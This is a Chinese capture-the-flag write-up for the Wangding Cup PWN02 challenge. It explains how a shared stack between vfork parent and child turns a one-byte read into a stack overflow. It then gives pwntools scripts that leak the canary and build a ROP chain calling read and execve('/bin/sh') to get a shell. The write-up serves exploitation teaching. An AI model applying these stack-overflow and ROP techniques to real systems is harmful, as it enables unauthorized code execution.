web选手入门pwn(22) ——网鼎杯PWN02(vfork)

WriteUp 6天前 admin
79 0 0

静态链接,没main,有start。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

401845重命名main

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

4017B4点进去报红,明显应该是4017B5,U+C+P三连修复。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

修复后发现是pwn题特有设置缓冲区方便做题的,不用管。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

先看401931

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

因为静态链接的原因,这些函数点进去发现都是系统调用那些我们熟悉的函数,因此改个名方便阅读。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

vfork另起一个线程去执行puts+read,read只有一个字节,看起来无论如何没有溢出。
再看4019E9

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

同样是简单puts/read,没有溢出。但给了个gift,执行一下程序看看情况。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

很明显是canary。此外,程序看起来是先执行4019E9再执行401931,跟代码顺序相反,这是什么原因呢?是因为主进程用vfork创建子线程,执行了wait,因此要等主线程exit,子线程才继续向下执行。因此401931的puts/read,比4019E9的puts/read要晚。
涉及子线程的gdb调试,需要用到

set follow-fork-mode childset detach-on-fork off

PIE保护关闭了,我们分别在0x401A30和0x401995断点,也就是puts(“leave your name”)和puts(“Wanna return?”)

gdb ./pwnset follow-fork-mode childset detach-on-fork offb *0x401A30b *0x401995r

成功断到主进程的puts。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

read处随便写几个A,直接c让主进程结束(如果这里没有提前set,子进程也会跟着结束)。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

接下来切换到子进程。

info inferiorsinferior 1

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

然后c一下就能断到子进程的0x401995

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

此时我们会发现一个有意思的地方,rbp下方的ret addr指向0x401780,这是什么?

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

似乎是一个隐藏的没有任何地方调用的函数,却偷偷藏在401931()创建的子进程中,它用while(1)不断vfork()创建更多的子进程,而且不再wait。似乎它就是这题的题眼,但看起来还是没溢出啊。
回到gdb,不断的n,发现根本就到不了ret,提前就exit了。当然,这并没有什么问题,因为代码中就是这样写的。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

那么怎样进入0x401780呢?看401931()的反编译代码是看不出来的,只有汇编中存在一个不起眼的cmp。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

跟到4019D2中发现有机会正常ret,进入0x401780。那么要如何做到呢?cmp rbp+N, 1。看起来需要栈溢出来控制rbp+N为0x1,但这个read只写1个字节,无论如何也不可能存在栈溢出。
这个时候就需要了解vfork()这个创建子进程函数的弊端了,它会和主进程共享内存空间,包括栈。因此在主进程的read中,我们输入最长的A。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n c")#sh = process("./pwn")
sh.sendafter("leave your name","A"*64)sh.sendafter("Wanna return?","B")
sh.interactive()

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

来到cmp,可以发现栈上确实有很多被主进程写入的A,rbp-0x28完全可以控制。那么直接将A*64换成p64(1)*8。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

成功通过校验,一路n下去,发现确实可以ret到40186B()

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

重写脚本,给40186B()下断点到0x4018D4,由于40186B()会while(1)不断起子进程,因此多写几个sendafter()看栈上会发生什么变化。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")#sh = process("./pwn")
sh.sendafter("leave your name",p64(1)*8)sh.sendafter("Wanna return?","B")sh.sendafter("once again?","C"*256)sh.sendafter("once again?","D"*256)sh.sendafter("once again?","E"*256)sh.sendafter("once again?","F"*256)
sh.interactive()

(PS:这时不能关闭ALSR,否则会导致后面的几次read无法写入)
第一次40186B ()->read()如下,确实无法栈溢出。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

第二次40186B()->read(),发生了变化,第三个参数RDX变成0x43434343了,因为0x100也是从栈上取得。简单点说,因为vfork()公用栈的原因,导致可以read一个很大的空间,形成栈溢出。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

算一下偏移量,这里由于有两个canary,保险起见只到canary。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

不过问题还没结束,40186B()有着和401931()一样的毛病,提前exit()无法正常ret,同样有着一个隐藏cmp。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

和之前铺很多的p64(0x1)一样,我们铺一下p32(0x11111111)。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")#sh = process("./pwn")
canary = int(sh.recvuntil("n")[8:24],16)print(hex(canary))
sh.sendafter("leave your name",p64(1)*8)sh.sendafter("Wanna return?","B")sh.sendafter("once again?","C"*256)payload = p32(0x11111111) * 64 + p64(canary) + p64(canary) + "D"*8 + "E"*8sh.sendafter("once again?",payload)sh.sendafter("once again?","E"*256)sh.sendafter("once again?","F"*256)
sh.interactive()

在第三次40186B ()的时候,成功ret到预期地址。

web选手入门pwn(22) ——网鼎杯PWN02(vfork)

接着就是getshell了,由于用的静态链接,没/bin/sh,因此有多种方法,要么用mprotect分配可读可写可执行的地址然后写shellcode,要么写/bin/sh到bss段,然后system,要么orw等等都行。
全部用ROPgadget进行系统调用。

ROPgadget --binary ./pwn --only "pop|ret" | grep raxROPgadget --binary ./pwn --opcode 0F05C3


#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'
#sh = gdb.debug("./pwn","set follow-fork-mode childn set detach-on-fork off n b *0x401A30 n b *0x401995 n b *0x4018D4 n c")sh = process("./pwn")
canary = int(sh.recvuntil("n")[8:24],16)print(hex(canary))
sh.sendafter("leave your name",p64(1)*8)sh.sendafter("Wanna return?","B")sh.sendafter("once again?","C"*256)
pop_rax = 0x0000000000450277pop_rdi = 0x000000000040213fpop_rsi = 0x000000000040a1aepop_rdx_rbx = 0x0000000000485febsyscall = 0x000000000041ac26ret = 0x41ac28bss = 0x4CB800
payload = p32(0x11111111) * 64 + p64(canary) + p64(canary) + "D"*8#read(0,bss,0x100)payload+= p64(pop_rax) + p64(0x0) + p64(pop_rdi) + p64(0x0) + p64(pop_rsi) + p64(bss) + p64(pop_rdx_rbx) + p64(0x100) + p64(0x100) + p64(syscall)payload+= p64(ret)#execve('/bin/sh',0,0)payload+= p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(bss) + p64(pop_rsi) + p64(0x0) + p64(pop_rdx_rbx) + p64(0x0) + p64(0x0) + p64(syscall)sh.sendafter("once again?",payload)sh.send("/bin/sh")
sh.interactive()

不是很稳定,但大概率getshell

web选手入门pwn(22) ——网鼎杯PWN02(vfork)


原文始发于微信公众号(珂技知识分享):web选手入门pwn(22) ——网鼎杯PWN02(vfork)

版权声明:admin 发表于 2024年11月7日 上午9:01。
转载请注明:web选手入门pwn(22) ——网鼎杯PWN02(vfork) | CTF导航

相关文章